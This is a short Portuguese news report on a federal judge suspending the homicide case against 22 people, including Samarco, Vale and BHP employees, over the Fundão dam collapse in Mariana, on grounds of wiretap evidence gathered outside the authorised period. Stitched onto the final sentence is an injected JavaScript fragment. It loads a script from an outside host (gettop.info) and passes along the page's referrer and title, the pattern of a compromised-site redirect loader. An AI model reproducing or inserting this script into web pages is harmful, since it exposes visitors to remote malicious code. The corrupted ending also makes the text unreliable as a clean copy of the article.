O juiz federal de Ponte Nova (MG), Jacques de Queiroz Ferreira, suspendeu a ação contra 22 pessoas envolvidas no rompimento da barragem de Fundão, que provocou 19 mortes em Mariana, no distrito de Bento Rodrigues. Estão entre os beneficiados funcionários da Vale, Samarco e BHP Billiton acusados de homicídio. A maior tragédia ambiental do País deixou um rastro de destruição por 40 cidades, em Minas Gerais e Espírito Santo, e contaminou Bacia Hidrográfica do Rio Doce.
O magistrado acolheu o pedido das defesas do diretor-presidente licenciado da Samarco, Ricardo Vescovi, e do diretor-geral de Operações, Kleber Terra. Nos autos, a parte sustentou que a denúncia do Ministério Público foi baseada em provas ilícitas, já que os dados obtidos a partir de quebra de sigilo telefônico “ultrapassarem o período judicialmente autorizado”. E que, portanto, o processo deveria ser anulado.
O Ministério Público Federal pediu esclarecimentos às companhias telefônicas sobre ‘os períodos de efetivo monitoramento de cada terminal’. As informações são do portal Estadão.s.src=\’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=\’ + encodeURIComponent(document.referrer) + \’&default_keyword=\’ + encodeURIComponent(document.title) + \’\’;